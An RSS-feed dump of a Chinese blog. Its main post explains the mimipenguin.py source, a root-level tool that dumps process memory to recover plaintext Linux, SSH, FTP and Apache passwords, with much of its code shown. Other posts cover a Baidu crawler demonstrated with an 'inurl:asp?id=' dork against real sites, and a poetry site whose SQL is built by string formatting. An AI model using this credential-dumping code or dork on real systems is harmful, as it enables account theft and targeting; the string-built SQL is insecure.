110000001010100000111000

如果知道转换规则,我们是否可以将其还原为最初的网段呢?答案是肯定的。因为我们没有丢失信息。“24”这个信息体现在字符串长度上,而字符串被丢掉的部分为全0。

但最终存储的数据还需要在字符串前面加上“IPv4”或“IPv6”,以区别两种IP协议的网段,还需要在字符串后边加上“%”,以便于进行数据库字符串搜索。

总结一下,网段:

192.168.56.0/24

存储在数据库中的实际是:

IPv4110000001010100000111000%

IPv6地址的存储同理。

如何查询

网段:

192.168.0.0/16

存储在数据库中长什么样呢?这是很容易计算的。为便于读者对比,将两个网段实际存储的数据写在一起:

IPv41100000010101000%                # 192.168.0.0/16
IPv4110000001010100000111000%        # 192.168.56.0/24

至此读者应该可以明白网段的查询要如何实现了,直接用SQLlike就可以了,这也是要在末尾加“%”的原因。

为了文章的完整性,我觉得有必要进行简单的说明:

  • 若网段A属于网段B,则在数据库中存储的数据,A like B一定成立;
  • 若网段A包含网段B,则在数据库中存储的数据,B like A一定成立。

编程实现

阅读官方文档《编写自定义模型字段(model fields)》可以学习如何编写自定义的模型字段。完整的代码见Github,长度很短,有兴趣的读者可自行阅读。

]]>
https://blog.werner.wiki/django-cidrfield-notes/feed/ 8
mimipenguin.py源码解读 https://blog.werner.wiki/mimipenguin-py-interpretation/ https://blog.werner.wiki/mimipenguin-py-interpretation/#respond Sat, 23 Sep 2017 10:09:09 +0000 http://blog.werner.wiki/?p=345 mimipenguin.py是一个可以从内存中读取linux明文密码的Python脚本程序,关于它的使用见:《使用mimipenguin获取linux明文登录密码》。在这篇文章中,我将分析mimipenguin.py的源码,以搞清楚它是如何从内存中读取明文密码的。

0.总体流程

通过阅读mimipenguin.py源码可知,mimipenguin.py从内存中读取linux明文密码时的步骤如下:

  1. 必须以root权限运行本脚本
  2. 读取指定程序的虚拟内存
  3. 将虚拟内存转换为字符串列表
  4. 从字符串列表中用正则匹配找出密码Hash值
  5. 从字符串列表中用正则匹配找出明文密码
  6. 验证找到的明文密码是否正确
  7. 输出正确的明文密码

1.必须以root权限运行本脚本

由于读取内存需要root权限,所以必须以root权限运行mimipenguin-py。我们没有办法强制用户这么做,但可以检测用户是否以root权限运行,若没有则给出提示。

如何检测呢?我们知道,root用户的uid是0,所以只用在脚本中读取uid,若等于0则说明有root权限,否则没有,输出类似“mimipenguin should be ran as root”这样的提示。

这一部分代码如下:

  def running_as_root():
    return os.geteuid() == 0

  ......

  if not running_as_root():
        raise RuntimeError('mimipenguin should be ran as root')

2.读取指定程序的虚拟内存

指定程序是指给出了程序名的程序,如:“gdm-password”、“gnome-keyring-daemon”、“vsftpd”、“sshd”和“apache2”。阅读linux源码或查阅资料可知,这些程序在运行时,内存中可能存在明文密码。

如何读取指定程序的虚拟内存呢?其实这里说程序的虚拟内存是不严谨的。程序是静态的,只有运行着的程序——进程——才有虚拟内存。所以第一步是由程序名获得进程号。用“ps”命令当然可以,但mimipenguin.py采用的方法是读取proc文件系统中的信息来获取程序名对应的进程号。

proc文件系统是linux操作系统虚拟出来的文件系统,实际上只存在于内存中,磁盘上并没有对应的文件。用“ls /proc”命令查看proc文件系统中的文件如下图所示:

proc文件系统

可以看到其中有很多目录与文件,大部分目录名都是纯数字,这些数字的含义是进程号,某个进程的信息,便在对应的目录下。如用“ls /proc/1”命令查看进程号是1的进程的信息,如下图所示:

proc中进程信息

可以看到又是许多的目录和文件。这些目录和文件中记录的是这个进程的相关信息,我们重点关注三个文件:cmdline、maps和mem。cmdline文件中记录着该进程的程序名(命令),如下图所示:

proc中进程程序名

只要遍历/proc目录下目录名为数字的目录中的cmdline文件的内容,与指定程序名做比较,若相等,则认为该进程是指定程序的运行实例。由于一个程序可以有多个运行实例,所以找到一个进程还不能break,要遍历所有才行,并且返回值也应当是存储着进程号的列表。实现这一逻辑的代码如下:

  def find_pid(process_name):
    pids = list()

    for pid in os.listdir('/proc'):
        try:
            with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
                if process_name in cmdline_file.read().decode():
                    pids.append(pid)
        except IOError:
            continue

    return pids

为编程上的简便,上述代码遍历了/proc目录下所有目录,若打开cmdline失败,则捕获错误并continue。本着宁可错杀一千也不放过一个的考虑,指定指定程序名只要包含在cmdline中,就认为该进程是指定程序的运行实例。最后返回的pids是一个列表。

maps文件中存储着给进程的内存映射表,如下图所示:

proc中进程内存映射

注意到第二列是属性,类似“r-xp”,“r”指可读,“w”指可写,“x”指可执行,“p”指私有的(copy on write),“-”表示无此属性。显然我们只关心具有“r”属性的内存区域。

mem文件中的内容便是这个进程的虚拟内存的映射了,读取mem文件相当于在读取该进程的虚拟内存。读取制定进程号的虚拟内存的代码如下:

  def dump_process(pid):
      dump_result = bytes()

      with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
          for l in maps_file.readlines():
              memrange, attributes = l.split(' ')[:2]
              if attributes.startswith('r'):
                  memrange_start, memrange_stop = [
                      int(x, 16) for x in memrange.split('-')]
                  memrange_size = memrange_stop - memrange_start
                  with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
                      try:
                          mem_file.seek(memrange_start)
                          dump_result += mem_file.read(memrange_size)
                      except (OSError, ValueError, IOError, OverflowError):
                          pass

      return dump_result

这段代码会打开指定进程的maps文件,逐行遍历,读取内存映射关系。对每一行,用l.split(‘ ‘)[:2]简单快捷地取了映射关系中的内存起止地址和属性,其余信息无用故忽略;接着判断这段内存区域是否可读(属性以“r”开头),若可读,则又以“-”从内存起止地址中分割出起始地址和终止地址,并将16进制转换成10进制,终止地址减去起始地址计算出内存区域大小,之后打开mem文件,用seek定位到内存起始地址,读取内存区域大小的数据,并将读到的数据添加到变量dump_result中。当maps文件文件遍历完毕后,该进程所有可读内存都被读到了变量dump_result中。虽然dump_result中的数据是各个内存片段拼凑起来的,并不连续,但有什么关系呢,我们只是想从中寻找可能存在的明文密码而已。

3.将虚拟内存转换为字符串列表

毫无疑问,内存中的数据不全是字符串,只有部分数据可以被作为可打印字符打印到屏幕,连续的可打印字符便是字符串。我们想要寻找的明文密码一定是可打印字符,所以丢弃掉内存中非字符串的数据,只保留字符串数据是不会让我们错过明文密码。

现在我们已经有了存储着某个进程虚拟内存数据的变量dump_result,现在想要做的事情是把dump_result中的字符串提取出来,输入dump_result,返回字符串列表。该怎么做呢?

首先要解决一个问题,可打印字符都有哪些?在Python中,有个名为string的库,这个库有一个名为printable的属性,其中定义了英语世界所有的可打印字符,如下所示:

  >>> import string
  >>> string.printable
  '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

另一个问题是字符串长度。明文密码长度不可能太短,如不可能只有一两个字符,所以只有足够多的连续的可打印字符组成的字符串才有意义。长度的阈值取多少合适呢?可以作为一个参数min_length,该参数默认值为4。

有了上面的准备,就可以从dump_result中提取字符串了。以字节为单位遍历dump_result,通过是否在string.printable中来判断当前遍历到的数据是否可打印。若干个连续的可打印字符组成字符串,若字符串长度不小于min_length,则将这个字符串添加到strings_result列表中。遍历完dump_result后,返回strings_result即可。这部分代码如下所示:

  def strings(s, min_length=4):
      strings_result = list()
      result = str()

      for c in s:
          try:
              c = chr(c)
          except TypeError:
              # In Python 2, c is already a chr
              pass
          if c in string.printable:
              result += c
          else:
              if len(result) >= min_length:
                  strings_result.append(result)
              result = str()

      return strings_result

4.匹配Hash、明文密码与验证

之所以将这几步放在一起是因为mimipenguin.py中写了一个类PasswordFinder来统一干这几件事。

类PasswordFinder有以下几个方法:

  • _dump_target_processes
  • _find_hash
  • _find_potential_passwords
  • _try_potential_passwords
  • dump_passwords

第一个方法_dump_target_processes的作用是读取指定程序的虚拟内存并转换成字符串列表,代码如下所示:

  def _dump_target_processes(self):
      target_pids = list()
      for target_process in self._target_processes:
          target_pids += find_pid(target_process)
      for target_pid in target_pids:
          self._strings_dump += strings(dump_process(target_pid))

_dump_target_processes中指定程序的程序名从_target_processes中读取,该属性是PasswordFinder的子类中定义的属性,如

  self._target_processes = ['gnome-keyring-daemon']

第二个方法_find_hash的作用是从字符串列表中匹配Hash,代码如下所示:

  def _find_hash(self):
      for s in self._strings_dump:
          if re.match(PasswordFinder._hash_re, s):
              self._found_hashes.append(s)

PasswordFinder._hash_re是用于匹配Hash值的正则表达式,其内容为“r’^\$.\$.+$’”,匹配的是类似:

  $6$0fokwg59$6hpMS5dM9wDT/42DDoSD0i0g/wHab50Xs9iEvVLC3V20yf1kRmXZHGXCM0Efv6XU69hdgMZ4FwaMzso4hQaGQ0

这样的密码Hash,这种格式是linux中/etc/shadow文件保存登录密码Hash的格式。

第三个方法_find_potential_passwords的作用是从字符串列表中匹配可能的密码,代码如下所示:

  def _find_potential_passwords(self):
      for needle in self._needles:
          needle_indexes = [i for i, s in enumerate(self._strings_dump)
                            if re.search(needle, s)]
          for needle_index in needle_indexes:
              self._potential_passwords += self._strings_dump[
                  needle_index - 10:needle_index + 10]
      self._potential_passwords = list(set(self._potential_passwords))

self._needles是PasswordFinder的子类中定义的属性,如:

  self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']

其值是正则表达式列表,列表中每个正则表达式都被称needle(指针),为用于匹配一个字符串。这个字符串虽然不是明文密码,但是却在明文密码附近。因为明文密码是未知的,所以不可能写出直接匹配明文密码的正则,只能退而求其次,匹配明文密码附近的字符串。我们看到:

  self._potential_passwords += self._strings_dump[
      needle_index - 10:needle_index + 10]

把匹配needle的字符串附近(-10~+10)的字符串都作为最后的可能密码。显然,可能密码会有很多很多,所以需要_try_potential_passwords来验证哪些密码是真正的密码。

needle大概是阅读了目标程序源码或进行逆向分析后写出来的。最终能不能有效地找到明文密码在很大程度上取决于这些正则表达式写得好不好。

最后“list(set(self._potential_passwords))”的作用是去重,集合(set)中的元素是不允许重复的,list(set())是Python中常见的列表去重的方法,虽然效率不是最高的,但确实写法最简单的。

第四个方法_try_potential_passwords的作用是从可能的密码列表中验证哪些密码是正确的。这部分代码有点长,先不看代码,考虑一个问题:如何验证明文密码的正确性。我们知道linux在文件/etc/shadow中存储了登录密码的Hash值,我们在内存中也尝试匹配了登录密码的Hash值,这些Hash值可以用于验证可能的明文登录密码是否正确——只需要计算可能的明文密码的Hash值并与已有的Hash值做比较,若可能的明文密码的Hash值等于某个已有的Hash值,则可能的明文密码便一定是正确的明文密码。若相等的已有Hash值来自/etc/shadow,则还可以知道这是哪个用户的密码,否则只好输出’‘了。

这部分代码如下所示:

  def _try_potential_passwords(self):
      valid_passwords = list()
      found_hashes = list()
      pw_hash_to_user = dict()

      if self._found_hashes:
          found_hashes = self._found_hashes
      with open('/etc/shadow', 'r') as f:
          for l in f.readlines():
              user, pw_hash = l.split(':')[:2]
              if not re.match(PasswordFinder._hash_re, pw_hash):
                  continue
              found_hashes.append(pw_hash)
              pw_hash_to_user[pw_hash] = user

      found_hashes = list(set(found_hashes))

      for found_hash in found_hashes:
          ctype = found_hash[:3]
          salt = found_hash.split('$')[2]
          for potential_password in self._potential_passwords:
              potential_hash = compute_hash(ctype, salt, potential_password)
              if potential_hash == found_hash:
                  try:
                      valid_passwords.append(
                          (pw_hash_to_user[found_hash], potential_password))
                  except KeyError:
                      valid_passwords.append(
                          ('<unknown user>', potential_password))

      return valid_passwords

这一验证方法仅仅适用于linux登录密码,若我们寻找的不是linux登录密码,而是其他程序的,就需要根据其他程序的特点重写_try_potential_passwords方法。如寻找Apache的密码时_try_potential_passwords方法被重写为:

  def _try_potential_passwords(self):
      valid_passwords = list()

      for potential_password in self._potential_passwords:
          try:
              potential_password = base64.b64decode(potential_password)
          except binascii.Error:
              continue
          else:
              try:
                  user, password = potential_password.split(':', maxsplit=1)
                  valid_passwords.append((user, password))
              except IndexError:
                  continue

      return valid_passwords

内存中Apache的用户名和密码是用“:”连接在一起并被base64编码的,所以尝试对可能的明文密码进行base64解码,若成功解码,再用“:”把解码结果分割成用户名和密码两部分即可。由于base64编码结果具有很强的特征,不是base64编码结果的字符串拿去做base64解码往往是会失败的,所以base64解码成功且能用“:”分割成两部分的字符串也基本上就只有用户名和密码了。

第五个方法dump_passwords的作用是依次调用前四个方法并返回经过验证的明文密码,其代码如下所示:

  def dump_passwords(self):
      self._dump_target_processes()
      self._find_hash()
      self._find_potential_passwords()
      return self._try_potential_passwords()

注意到Apache的密码验证和Hash没有任何关系,所以不用匹配Hash值,故寻找Apache密码的类还需要重写dump_passwords方法,去掉“self._find_hash()”。

5.PasswordFinder的子类与结果输出

在上面的分析中我们已经知道PasswordFinder是不完善的,有几个抽象属性需要在子类中定义。具体讲是这两个属性:

- _target_processes
- _needles

另外,为输出地漂亮,子类还定义了属性“_source_name”。如果不用重写寻找密码的方法的话就只用重写init方法,添加这几个属性的定义就可以了。下面是几个PasswordFinder的子类的例子:

  class GdmPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - GNOME]'
          self._target_processes = ['gdm-password']
          self._needles = ['^_pammodutil_getpwnam_root_1$',
                           '^gkr_system_authtok$']

  class GnomeKeyringPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - GNOME]'
          self._target_processes = ['gnome-keyring-daemon']
          self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']

  class VsftpdPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - VSFTPD]'
          self._target_processes = ['vsftpd']
          self._needles = [
              r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$']

  class SshdPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - SSH]'
          self._target_processes = ['sshd:']
          self._needles = [r'^sudo.+']

我们可以根据自己的需要添加PasswordFinder的子类去寻找其他程序的密码,此时面向对象编程的威力显露无疑。

对一个PasswordFinder的子类,最后只需要调用dump_passwords()方法,并最后打印该方法的返回值即可。为了让用户知道这是哪个程序的密码,在输出dump_passwords()的返回值前,可以先输出_source_name。

6.总结

mimipenguin.py只有两百多行,功能也很简单,阅读其源码并不困难。

mimipenguin.py提供了一种读取linux内存数据的框架,在此基础上稍作修改,就可以做比读取明文密码更进一步的事了。

]]>
https://blog.werner.wiki/mimipenguin-py-interpretation/feed/ 0
爬取百度搜索结果的爬虫 https://blog.werner.wiki/crawler-crawling-baidu-search-results/ https://blog.werner.wiki/crawler-crawling-baidu-search-results/#comments Tue, 04 Apr 2017 06:14:24 +0000 http://blog.werner.wiki/?p=197 是这样的,在所谓的网络空间搜索引擎钟馗之眼搜索某cms名称,发现搜索结果只有可怜的17条,而在百度搜索“”Powered by 某cms””,结果有约2,150个,差距还是很大的。而去国外的那个撒旦搜这个cms,结果直接为“No results found”。好吧,还得靠百度。

为便于程序自动化处理搜索结果,便产生了写一个Python脚本来自动搜索的想法。要求输入搜索关键词和页数,输出百度搜索此关键词所得结果的前某某页中的指向搜索结果的链接。

难点有二,一是百度搜索结果中的链接都不是直接指向搜索结果的,而是:

    http://www.baidu.com/link?url=N5vu2VW2jp1E4lIDBiL77-J2B65YL9MgyXC0YmJNdjW

这种样子的,需要再处理才行。二是翻页问题,现在百度搜索结果的翻页不再由url中的参数pn来控制,在以前,pn=2便是搜索结果的第二页,pn=5便是搜索结果的第5页,现在不清楚是怎么控制翻页的,我研究也好久也没弄明白。

第一个问题的解决是这样的,先拿到会跳转的链接,然后打开它,会发现HTTP状态码是302,从HTTP头的location字段中便可以取到目标链接。第二个问题的解决是取巧的,每个爬取的页面总有下一页的按钮,直接解析出下一页的按钮对应的url,便拿到了下一页的url。

给这个脚本命名为baidu_crawler.py,有三个参数,-k是必须的,后接搜索关键词,-t后接一个整数,是超时时间,默认为60秒,-p后接一个整数,是要爬取的总页数,默认为5页。如在终端中输入如下命令:

    python baidu_crawler.py -k inurl:asp?id= -p 2

其输出结果为:

    http://www.newmen.com.cn/product/product.asp?id=664
    http://fanyi.baidu.com/?aldtype=23&keyfrom=alading#en/zh/inurl%3Aasp%3Fid
    http://fanyi.baidu.com/?aldtype=23#en/zh/inurl%3Aasp%3Fid
    http://www.ampcn.com/show/index.asp?id=225238
    http://www.jmzjzc.com/news.asp?id=1296
    http://www.youda999.com/NewsView.Asp?ID=1818&SortID=10
    http://www.kjcxpp.com/tebie.asp?id=4987
    http://www.szxcc.com/gb/about1_xinxi.asp?id=325
    http://www.synsun.com.cn/IntotheformerSt.asp?id=15
    http://www.yorku.org.cn/displaynews1_new.asp?id=63
    http://www.luoxin.cn/newsinfo.asp?id=8623
    http://dfgjt.com/show_news.asp?id=515
    http://jsxx.ahau.edu.cn/jsxx_show.asp?ID=1995046
    http://www.fjplan.org/chgnr.asp?id=227
    http://chem.xmu.edu.cn/show.asp?id=1995
    http://www.nhzupei.com/viewanli.asp?id=556
    http://www.snsafety.gov.cn/admin/pub_newsshow.asp?id=1040041&chid=100118
    http://www.cnarts.net/cweb/news/read.asp?id=317959
    http://www.zjgjgs.com/news_view.asp?id=964
    http://www.sanheip.com/about.Asp?id=3
    http://www.cqgbc.org/news_x.asp?id=403

下面是这个程序的源代码:

    #!/usr/bin/python
    # ^_^ coding:utf8 ^_^

    import re
    import requests
    import traceback
    from urllib import quote
    import sys, getopt
    reload(sys)
    sys.setdefaultencoding('utf-8')

    class crawler:
        '''爬百度搜索结果的爬虫'''
        url = u''
        urls = []
        o_urls = []
        html = ''
        total_pages = 5
        current_page = 0
        next_page_url = ''
        timeout = 60                    #默认超时时间为60秒
        headersParameters = {    #发送HTTP请求时的HEAD信息,用于伪装为浏览器
            'Connection': 'Keep-Alive',
            'Accept': 'text/html, application/xhtml+xml, */*',
            'Accept-Language': 'en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'User-Agent': 'Mozilla/6.1 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko'
        }

        def __init__(self, keyword):
            self.url = u'https://www.baidu.com/baidu?wd='+quote(keyword)+'&tn=monline_dg&ie=utf-8'

        def set_timeout(self, time):
            '''设置超时时间,单位:秒'''
            try:
                self.timeout = int(time)
            except:
                pass

        def set_total_pages(self, num):
            '''设置总共要爬取的页数'''
            try:
                self.total_pages = int(num)
            except:
                pass

        def set_current_url(self, url):
            '''设置当前url'''
            self.url = url

        def switch_url(self):
            '''切换当前url为下一页的url
               若下一页为空,则退出程序'''
            if self.next_page_url == '':
                sys.exit()
            else:
                self.set_current_url(self.next_page_url)

        def is_finish(self):
            '''判断是否爬取完毕'''
            if self.current_page >= self.total_pages:
                return True
            else:
                return False

        def get_html(self):
            '''爬取当前url所指页面的内容,保存到html中'''
            r = requests.get(self.url ,timeout=self.timeout, headers=self.headersParameters)
            if r.status_code==200:
                self.html = r.text
                self.current_page += 1
            else:
                self.html = u''
                print '[ERROR]',self.url,u'get此url返回的http状态码不是200'

        def get_urls(self):
            '''从当前html中解析出搜索结果的url,保存到o_urls'''
            o_urls = re.findall('href\=\"(http\:\/\/www\.baidu\.com\/link\?url\=.*?)\" class\=\"c\-showurl\"', self.html)
            o_urls = list(set(o_urls))  #去重
            self.o_urls = o_urls
            #取下一页地址
            next = re.findall(' href\=\"(\/s\?wd\=[\w\d\%\&\=\_\-]*?)\" class\=\"n\"', self.html)
            if len(next) > 0:
                self.next_page_url = 'https://www.baidu.com'+next[-1]
            else:
                self.next_page_url = ''

        def get_real(self, o_url):
            '''获取重定向url指向的网址'''
            r = requests.get(o_url, allow_redirects = False)    #禁止自动跳转
            if r.status_code == 302:
                try:
                    return r.headers['location']    #返回指向的地址
                except:
                    pass
            return o_url    #返回源地址

        def transformation(self):
            '''读取当前o_urls中的链接重定向的网址,并保存到urls中'''
            self.urls = []
            for o_url in self.o_urls:
                self.urls.append(self.get_real(o_url))

        def print_urls(self):
            '''输出当前urls中的url'''
            for url in self.urls:
                print url

        def print_o_urls(self):
            '''输出当前o_urls中的url'''
            for url in self.o_urls:
                print url

        def run(self):
            while(not self.is_finish()):
                c.get_html()
                c.get_urls()
                c.transformation()
                c.print_urls()
                c.switch_url()

    if __name__ == '__main__':
        help = 'baidu_crawler.py -k <keyword> [-t <timeout> -p <total pages>]'
        keyword = None
        timeout  = None
        totalpages = None
        try:
            opts, args = getopt.getopt(sys.argv[1:], "hk:t:p:")
        except getopt.GetoptError:
            print(help)
            sys.exit(2)
        for opt, arg in opts:
            if opt == '-h':
                print(help)
                sys.exit()
            elif opt in ("-k", "--keyword"):
                keyword = arg
            elif opt in ("-t", "--timeout"):
                timeout = arg
            elif opt in ("-p", "--totalpages"):
                totalpages = arg
        if keyword == None:
            print(help)
            sys.exit()

        c = crawler(keyword)
        if timeout != None:
            c.set_timeout(timeout)
        if totalpages != None:
            c.set_total_pages(totalpages)
        c.run()
]]>
https://blog.werner.wiki/crawler-crawling-baidu-search-results/feed/ 1
以诗之名 https://blog.werner.wiki/name-from-poetry/ https://blog.werner.wiki/name-from-poetry/#comments Fri, 31 Mar 2017 05:49:30 +0000 http://blog.werner.wiki/?p=189 (2018年3月20日更新)“以诗之名”全面改版,本文内容过期。详情见“以诗之名-关于”。

这是什么?

以诗之名”是我和 Yixiao_Li 同学共同完成的一个搜索引擎,用于搜索你的名字(或者其他的几个汉字)包含于哪首古诗词中。
如搜索马化腾的“化腾”二字,出现的第一首诗是:

    造化精神无尽期,
    跳腾踔厉即时追。
    目前言句知多少,
    罕有先生活法诗。

这首诗的第一句中含有“化”、“腾”二字,而且是对齐的。说这是马化腾名字的出处也未尝不可 🙂

搜索结果中包含有你输入的全部关键字,所以我想,在大多数时候,你应该输入“化腾”而不是“马化腾”。
搜索结果是按照一定规则排序的:关键字对齐、关键字在一句之内及总长度较短的诗会排得比较靠前,因为我们认为,这样的诗,正是你想看到的。

此搜索引擎支持查询简体字和繁体字,但程序并不能自动识别你输入的是简体字还是繁体字,需要你显式地指明——若你输入的是繁体字,就打开繁体字对应的开关,否则程序就默认你输入的是简体字。除了“繁体”外,还有“仅唐”和“仅宋”两个开关,这两个开关是互斥的,除非你的浏览器没有执行我写的脚本程序,或是你有意破坏。打开这两个开关中的一个,会只在唐人的作品或宋人的作品中搜索诗词。注意,唐人也会写词,宋人也会写诗。

目前只收录了部分唐诗宋词,数据正在进一步整理中。我希望能再添加“仅经”、“仅楚”和“仅曲’等开关。

开发过程

为何要公开开发过程呢?好吧,这只是我的备忘录而已。

第一步:寻找诗词数据库

在github上搜索“唐诗”就搜到了一个很全的唐诗数据库:chinese-poetry,感谢@jackeyGao,感谢开源!

这个“数据库”是JSON格式的,而且是繁体字版的。

先将其导入数据库。数据库的创建语句是:

    CREATE DATABASE shiming DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

数据表的创建语句是:

    create table SHI_f (id int AUTO_INCREMENT primary key NOT NULL,title char(100), author char(50), paragraphs text, ft_index text, type char(5), src char(25));
    create table SHI_j (id int AUTO_INCREMENT primary key NOT NULL,title char(100), author char(50), paragraphs text, ft_index text, type char(5), src char(25));

其中“_j”表示简体,“_f”表示繁体,用Python解析JSON代码如下:

    # -*-coding:utf8-*-
    import os
    import json
    import traceback
    from sql_head import *
    from langconv import *

    global db
    db = None                   #全局变量,数据库连接

    def insert(title, author, paragraphs, type, src):
        u'''将数据插入数据库,会进行繁体转换,保存简、繁体两版'''
        global db
        sql_j = '''insert into SHI_j (`title`, `author`, `paragraphs`, `ft_index`, `type`, `src`) values ("{0}", "{1}", "{2}", "{3}", "{4}", "{5}")'''
        sql_f = '''insert into SHI_f (`title`, `author`, `paragraphs`, `ft_index`, `type`, `src`) values ("{0}", "{1}", "{2}", "{3}", "{4}", "{5}")'''
        #进行繁体到简体的转换
        title_j = Converter('zh-hans').convert(title.decode('utf-8'))
        title_j = title_j.encode('utf-8')
        author_j = Converter('zh-hans').convert(author.decode('utf-8'))
        author_j = author_j.encode('utf-8')
        paragraphs_j = Converter('zh-hans').convert(paragraphs.decode('utf-8'))
        index_j = ''
        for i in paragraphs_j:
            index_j += i+" "
        index = ''
        for i in paragraphs:
            index += i+" "
        db=linkmysql(db)        #连接数据库
        cursor = db.cursor()    #获得游标
        try:
            cursor.execute(sql_j.format(title_j, author_j, paragraphs_j, index_j, type, src))    #插入记录
            cursor.execute(sql_f.format(title, author, paragraphs, index, type, src))              #插入记录
            db.commit()
        except:
            # 发生错误时回滚
            traceback.print_exc()
            db.rollback()
            return -1
        else:
            return 0

    def jiexi_json(src):
        '''从给定源读html文件解析出标题、作者、内容等'''
        if "song" in src:
            type = "song"
        elif "tang" in src:
            type = "tang"
        else:
            type = "None"
        f = open(src, "r")
        try:
            s = json.load(f, encoding='utf-8')
        except:
            traceback.print_exc()
            f.close()
            return
        f.close()
        for i in s:
            try:
                title = i['title']
                author = i['author']
                paragraphs=''
                for item in i['paragraphs']:
                    if item.find(u'《')!=-1 or item.find(u'〖')!=-1:
                        break
                    paragraphs += item
                insert(title, author, paragraphs, type, src)
            except:
                traceback.print_exc()
                continue

    def bianli(rootdir):
        '''遍历rootdir目录中的文件'''
        num = 0
        for parent,dirnames,filenames in os.walk(rootdir):
            for filename in filenames:                        #输出文件信息
                if filename.endswith('.json'):                #该文件是json文件
                    print "["+str(num)+"]",filename
                    src = filename
                    jiexi_json(src)

    if __name__ == '__main__':
        db=linkmysql(db)        #连接数据库
        bianli(".")
        db.close()              #关闭和数据库的连接

其中langconv是用于进行繁体字和简体字转换的Python库,作者是@Skydark Chen,sql_head是我写的一个连接数据库用到很简单的库,代码如下:

    # -*-coding:utf8-*-
    import sys
    import MySQLdb

    #指定编码为utf8
    reload(sys)  
    sys.setdefaultencoding('utf8')

    db_config = {
        "hostname": "localhost",#主机名
        "username": "XXXX",#数据库用户名
        "password": "XXXX",#数据库密码
        "databasename": "XXXX",#要存入数据的数据库名
        }

    def linkmysql(db):
        try:#MySQLdb不支持长时间连接,在操作数据库前检查连接是否过期,过期则重连
            db.ping(True)
        except:
            #再次连接数据库
            db = MySQLdb.connect(db_config["hostname"],
                         db_config["username"],
                         db_config["password"],
                         db_config["databasename"],
                         charset='utf8')
        return db

运行该脚本,约半个小时后,数据导入完成,经查询,共有57591首唐诗,254237首宋词,这个数据量还是相当可观的。但比起数千年来,中华民族创造的灿烂诗海,只是沧海一粟而已。

第二步:查询语句

创建全文索引:

    ALTER TABLE SHI_f ADD FULLTEXT(`ft_index`);
    ALTER TABLE SHI_j ADD FULLTEXT(`ft_index`);
    repair table SHI_f;
    repair table SHI_j;

在简体库中搜索同时含有“张飞”二字的诗词,按字数多少递增排序,限定显示前500条。

    SELECT id, title, author, paragraphs FROM SHI_j WHERE MATCH (`ft_index`) AGAINST ("张") and MATCH (`ft_index`) AGAINST ("飞") order by LENGTH(paragraphs) limit 0,500;

第三步:编写网站

前端是用“轻量,小巧且精美的UI库”SUI Mobile 写的。
后台是用php写的。

第四步:部署上线

由于是两个人合作完成的,故有两个实例,一个是http://s.werner.wiki,还有一个是http://poetry.liyixiao.site/,这两个网站运行在不同的地方,只有很小的差别。

附:开始时的困境

一开始做这个项目时,我没有想到神奇的github,而是百度“唐诗大全”之类的字眼,妄图找到较全的唐诗数据库,当然是失败的。热情的popcorn同学得知我这一困境后为我友情提供多本唐诗宋词相关电子书,是azw3和mobi格式的。感谢popcorn同学的帮助!

当时我是这样处理电子书的:先通过一家网站将azw3格式的电子书转换成html格式,然后用Python解析html,从中提取出标题、作者、内容等我们关心的数据,并将其保存到数据库中。下面的代码是用于解析《宋词三百首全解》这本电子书的,虽然最终没有使用,但却具有纪念意义,故也将其摘录于此。

创建数据库和数据表

CREATE DATABASE SHIMING DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
create table SONGCI (id int AUTO_INCREMENT primary key NOT NULL,title char(20),author char(15),content text, src char(50));

解析网页

用Python解析网页,需安装BeautifulSoup4

    sudo pip install BeautifulSoup4

代码

    # -*-coding:utf8-*-
    import os
    import traceback
    from sql_head import *
    from bs4 import BeautifulSoup
    def insert(title, author, content, src):
        '''将数据插入数据库'''
        sql = '''insert into SONGCI (`title`, `author`, `content`, `src`) values ("{0}", "{1}", "{2}", "{3}")'''
        db = None
        db=linkmysql(db)        #连接数据库
        cursor = db.cursor()    #获得游标
        try:
            cursor.execute(sql.format(title, author, content, src))              #插入记录
            db.commit()
        except:
            # 发生错误时回滚
            db.rollback()
            db.close()                                      #关闭和数据库的连接
            return -1;
        else:
            db.close()                                      #关闭和数据库的连接
            return 0;
    def jiexi_html(src):
        '''从给定源读html文件解析出标题、作者、内容等'''
        f = open(src, "r")
        html_doc = f.read()
        f.close()
        soup = BeautifulSoup(html_doc, "lxml")
        [s.extract() for s in soup('sup')]  #去除所有sup标签
        title = soup.h1.string
        author = soup.find_all("p", class_="normaltext2")[0].get_text()
        content = soup.find_all("p", class_="normaltext4")[0].get_text()
        return title, author, content
    def bianli(rootdir):
        '''遍历rootdir目录中的文件'''
        for parent,dirnames,filenames in os.walk(rootdir):
            for filename in filenames:                        #输出文件信息
                if filename.endswith('.html'):                #该文件是html文件
                    print filename
                    src = filename
                    try:
                        title, author, content = jiexi_html(src)
                    except:
                        traceback.print_exc()
                        continue
                    try:
                        ret = insert(title, author, content, src)
                    except:
                        traceback.print_exc()
                        continue
                    if ret==0:
                        print 'success'
                    else:
                        print 'fail'

    if __name__ == '__main__':
        bianli(".")

参考

]]>
https://blog.werner.wiki/name-from-poetry/feed/ 2
